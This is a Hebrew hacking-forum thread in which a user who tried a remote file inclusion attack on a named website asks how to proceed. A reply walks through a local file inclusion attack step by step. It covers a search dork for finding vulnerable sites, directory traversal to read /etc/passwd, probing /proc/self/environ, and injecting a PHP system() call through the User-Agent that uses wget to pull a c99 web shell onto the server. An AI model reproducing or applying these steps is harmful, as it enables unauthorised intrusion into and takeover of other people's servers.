אוקי, מצאתי אתר עם פירצת RFI. התקדמתי העלתי שאאל, קיבלתי תגובה. מה עכשיו?

[OverPowered]

אוקי הכנסתי את השאאל לאתר
http://www.jlc-software.com/index.ph...com/shell2.txt
כמובן במקום הBLABLA זה האחסון שלי שעליו נמצא השאאל.

קיבלתי תגובת שרת, שגיאה:

Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /customers/jlc-software.com/jlc-software.com/httpd.www/index.php on line 37 Warning: include(http://blabla.com/shell2.txt): failed to open stream: no suitable wrapper could be found in /customers/jlc-software.com/jlc-software.com/httpd.www/index.php on line 37 Warning: include(): Failed opening 'http://blabla.com/shell2.txt' for inclusion (include_path='.:/usr/share/php') in /customers/jlc-software.com/jlc-software.com/httpd.www/index.php on line 37

ניסיתי לעשות את זה עם כל מיני אפשרויות, להוסיף hthttptp://blabla.com/shell2.txt

איך להמשיך בעצם מפה?
תודה למי שיעזור!

[ne0]

LFI ..
אוקיי . אז קודם כל אתה צריך לבדוק אם proc/self/environ/ נגיש ..
אני אנסה להסביר לך את המתקפה בצד אחר , אולי כך תבין יותר
איך בעצם המתקפה מתרחשת ?
כאשר ה אינקלוד לא מתוכנת כראוי , על מנת להמחיש את המתקפה אתה צריך להשתמש בדורק.
לדוגמא :

inurl:index.php?id=news.php 

מצאנו את האתר :

www.ne0-software.com/index.php?id=news.php 

מה בעצם קרה פה ?
הפננו לקובץ news.php , כך אתה בודק אם קיימת פירצת LFI .

אוקיי עכשיו אנחנו צריכים להגיע לקובץ
/etc/passwd

כל מה שאנחנו צריכים לעשות זה להשתמש ב ../ על מנת לעלות ולרדת תיקייה .

לדוגמא :

http://ne0/index.php?id=../ 

כעת תתקבל לך שגיאה :

Warning: include(../) [function.include]: failed to open stream: No  such file or directory in /home/user/public_html/ne0-software.com/view.php on  line 2

אז עכשיו אנחנו מחפשים איפה נמצא הקובץ etc/passwd , אם יש שגיאה זה אומר שאנחנו לא במקום המתאים ..

http:/ne0-software.com/index.php?id=../ ../../../../../../etc/passwd

כעת אנחנו רואים שאין שום שגיאה ,
ננסה לנקלד את הקובץ .

יופיע לך סקריפט בסגנון הבא :

 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/

עכשיו אנחנו רואים אם יש גישה לקובץ proc/self/environ , ננסה .. :

tp://ne0-software.com/index.php?id=../ ../../../../../../proc/self/environ 

במידה ויש גישה הקובץ אמור להראות כך :

DOCUMENT_ROOT=/home/user/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html

עכשיו אנחנו רוצים לעלות שאלל, איך זה עובד ?, אם אתם תראו בקובץ proc/self/environ הוא יראה לכם את הuser agent שלכם ..

עכשיו אנחנו יכולים לעשות ככה, על מנת לעלות שאלל, נכנס דרך FF נכנס לuser agent ונשנה אותו לקוד הPHP שלהלן, מה שהוא עושה, הוא משתמש בפקודת WGET על מנת להוריד לשרת את הקובץ הזדוני..

<?system('wget http://ne0-software.com/c99.txt -O c99.php');?>

כעת יש לך גישה מלאה ,
ואתה מוזמן להנות

דרך צלחה ידידי .
</span>

[Num32]

ne0..מה אני אגיד לך אתה הסברת את הנושא מצויין ,
ממליץ לך לפתוח מדריך הממה שכבר כתבת ...
אגב יש הבדל בין RFI - LFI .
RFI - יבוא קובץ מרוחק
lfi - יבוא קובץ מקומי .
אם אתה עוד חומר ..
כנס לכאן ותראה כבר את החומר (: